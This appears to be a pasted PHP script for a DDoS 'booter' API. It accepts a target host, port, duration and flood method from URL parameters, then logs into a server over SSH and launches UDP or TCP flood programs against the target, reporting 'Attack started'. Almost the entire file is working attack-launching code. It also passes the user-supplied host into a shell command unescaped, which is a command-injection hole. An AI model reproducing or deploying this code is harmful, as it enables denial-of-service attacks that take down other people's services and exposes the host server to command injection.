· 6 years ago · Feb 17, 2020, 02:14 PM
1/////////////////////////////////////////
2$key = $_GET['key'];
3$host = $_GET['host'];
4$port = intval($_GET['port']);
5$time = intval($_GET['time']);
6$method = $_GET['method'];
7$action = $_GET['action'];
8
9///////////////////////////////////////////////////
10//-- array of implemented method as a variable --//
11///////////////////////////////////////////////////
12$array = array("udp", "tcp", "stop");// Add you're existing methods here, and delete you're none existent methods.
13$ray = array("apikey");
14
15////////////////////////////////////////
16//-- Checks if the API key is empty --//
17////////////////////////////////////////
18if (!empty($key)){
19}else{
20die('Error: API key is empty!');}
21
22//////////////////////////////////////////
23//-- Checks if the API key is correct --//
24//////////////////////////////////////////
25if (in_array($key, $ray)){ //Change "key" to what ever yo want you're API key to be.
26}else{
27die('Error: Incorrect API key!');}
28
29/////////////////////////////////
30//-- Checks if time is empty --//
31/////////////////////////////////
32if (!empty($time)){
33}else{
34die('Error: time is empty!');}
35
36/////////////////////////////////
37//-- Checks if host is empty --//
38/////////////////////////////////
39if (!empty($host)){
40}else{
41die('Error: Host is empty!');}
42///////////////////////////////////
43//-- Checks if method is empty --//
44///////////////////////////////////
45if (!empty($method)){
46}else{
47die('Error: Method is empty!');}
48
49///////////////////////////////////
50//-- Checks if method is empty --//
51///////////////////////////////////
52if (in_array($method, $array)){
53}else{
54die('Error: The method you requested does not exist!');}
55///////////////////////////////////////////////////
56//-- Uses regex to see if the Port could exist --//
57///////////////////////////////////////////////////
58if ($port > 44405){
59die('Error: Ports over 44405 do not exist');}
60
61//////////////////////////////////
62//-- Sets a Maximum boot time --//
63//////////////////////////////////
64if ($time > 2000){
65die('Error: Cannot exceed 36000 seconds!');} //Change 10 to the time you used above.
66
67if(ctype_digit($Time)){
68die('Error: Time is not in numeric form!');}
69
70if(ctype_digit($Port)){
71die('Error: Port is not in numeric form!');}
72
73//////////////////////////////////////////////////////////////////////////////
74//-- You're attack methods --//
75//-- Make sure the command is formatted correctly for each method you add --//
76//////////////////////////////////////////////////////////////////////////////
77if ($method == "udp") { $command = "screen -dm perl /root/ssyn.pl $host $port 50000 $time"; }
78if ($method == "tcp") { $command = "screen -dm /root/tcp $host 8 300000 $time"; }
79if ($method == "stop") { $command = "pkill $host -f"; }
80///////////////////////////////////////////////////////
81//-- Check to see if the server has SSH2 installed --//
82///////////////////////////////////////////////////////
83if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
84if(!($con = ssh2_connect($server_ip, 22))){
85 echo "Error: Connection Issue";
86} else {
87
88///////////////////////////////////////////////////
89//-- Attempts to login with you're credentials --//
90///////////////////////////////////////////////////
91 if(!ssh2_auth_password($con, $server_user, $server_pass)) {
92 echo "Error: Login failed, one or more of you're server credentials are incorect.";
93 } else {
94
95////////////////////////////////////////////////////////////////////////////
96//-- Tries to execute the attack with the requested method and settings --//
97////////////////////////////////////////////////////////////////////////////
98 if (!($stream = ssh2_exec($con, $command ))) {
99 echo "Error: You're server was not able to execute you're methods file and or its dependencies";
100 } else {
101////////////////////////////////////////////////////////////////////
102//-- Executed the attack with the requested method and settings --//
103////////////////////////////////////////////////////////////////////
104 stream_set_blocking($stream, false);
105 $data = "";
106 while ($buf = fread($stream,4096)) {
107 $data .= $buf;
108 }
109 echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
110 fclose($stream);
111 }
112 }
113}
114?>